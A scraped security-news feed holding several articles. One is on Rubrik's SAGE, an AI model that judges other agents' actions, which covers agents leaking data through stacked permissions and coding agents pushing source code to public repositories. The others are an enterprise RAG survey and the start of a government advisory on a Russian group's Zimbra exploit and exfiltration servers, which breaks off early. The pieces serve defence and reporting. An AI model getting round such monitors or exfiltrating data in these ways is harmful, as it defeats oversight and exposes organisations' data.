]]> <![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]> https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/ https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/ Thu, 23 Jul 2026 19:19:49 +0200 📰 IT Nachrichten tsecurity.de At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."

“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.

YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"

Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep.

"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.

SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.

Security approval, not cost, blocks AI ROI

Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard.

Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."

VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision.

One AI reading what the rulebook can't

Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.

The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.

Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.

When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.

SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.

The lethal trifecta

Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.

Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.

A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.

The attacks no single turn reveals

Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.

Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.

A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.

Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?

Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.

]]> <![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]> https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ Thu, 23 Jul 2026 19:19:42 +0200 📰 IT Nachrichten tsecurity.de Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

]]> <![CDATA[Mapping PCI DSS v4.0.1 to the NIST Cybersecurity Framework 2.0]]> https://tsecurity.de/de/3689766/it-security-nachrichten/mapping-pci-dss-v401-to-the-nist-cybersecurity-framework-20/ https://tsecurity.de/de/3689766/it-security-nachrichten/mapping-pci-dss-v401-to-the-nist-cybersecurity-framework-20/ Thu, 23 Jul 2026 19:00:27 +0200 📰 IT Security Nachrichten tsecurity.de Mapping PCI DSS v4.0.1 to the NIST Cybersecurity Framework 2.0

The PCI Security Standards Council (PCI SSC) has published a document which maps the PCI Data Security Standard (PCI DSS) v4.0.1 to the National Institute of Standards and Technology (NIST) Cybersecurity Framework (CSF) 2.0. With both organizations sharing the common goal to enhance data security, this document provides a resource for stakeholders to use in understanding how to align security efforts to meet objectives in both PCI DSS and the NIST CSF.  

]]> <![CDATA[Agentic retrieval for Amazon Bedrock Managed Knowledge Base]]> https://tsecurity.de/de/3689701/ai-nachrichten/agentic-retrieval-for-amazon-bedrock-managed-knowledge-base/ https://tsecurity.de/de/3689701/ai-nachrichten/agentic-retrieval-for-amazon-bedrock-managed-knowledge-base/ Thu, 23 Jul 2026 18:37:55 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract]]> https://tsecurity.de/de/3689451/ai-nachrichten/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/ https://tsecurity.de/de/3689451/ai-nachrichten/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/ Thu, 23 Jul 2026 17:06:24 +0200 🔧 AI Nachrichten tsecurity.de Enterprise Document Intelligence [Vol.1 #8ter] - Naming the RAG error correctly matters: model reads the context, so a wrong answer is an extraction error, not a hallucination. Seven typed-contract patterns keep the generation brick honest, with a decomposition rule for small models

The post Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract appeared first on Towards Data Science.

]]> <![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]> https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ Thu, 23 Jul 2026 16:59:29 +0200 🕵️ Sicherheitslücken tsecurity.de Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary 

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

  • United States National Security Agency (NSA)
  • United States Federal Bureau of Investigation (FBI)
  • Netherlands Defence Intelligence and Security Service (MIVD)
  • Netherlands General Intelligence and Security Service (AIVD)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Defense Counterintelligence and Security Agency (DCSA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Department of the Treasury
  • United States Naval Criminal Investigative Service (NCIS)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1
  • Danish Defence Intelligence Service (DDIS)2
  • Estonian Foreign Intelligence Service (EFIS)3
  • Finnish Defence Intelligence (FDI)4
  • Finnish Security and Intelligence Service (SUPO)5
  • French General Directorate for Internal Security (DGSI)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8
  • Italian Internal Intelligence and Security Agency (AISI)9
  • Security and Intelligence Service of the Republic of Moldova (SIS RM)10
  • Polish Foreign Intelligence Agency (AW)11
  • The Military Counterintelligence Service of Poland (SKW)12
  • Spain National Intelligence Centre (CNI)13
  • Sweden National Cyber Security Centre (NCSC-SE)14

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

  • LAUNDRY BEAR
  • Void Blizzard [2]
  • CL-STA-1114 [3]
  • TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

  • Last 90 days of emails,
  • Email address,
  • Password [T1589.001],
  • Global Address List (GAL) [T1087],
  • Two-factor authentication (2FA) tokens, and
  • Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

  • the Defense Industrial Base (DIB),  
  • the federal and local government,
  • education,
  • energy,
  • law enforcement,  
  • media,  
  • non-governmental organizations, and
  • technology.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FENDTM version 1.4.015. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

  • Catcher,
  • Certbot,
  • Nginx, and
  • Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

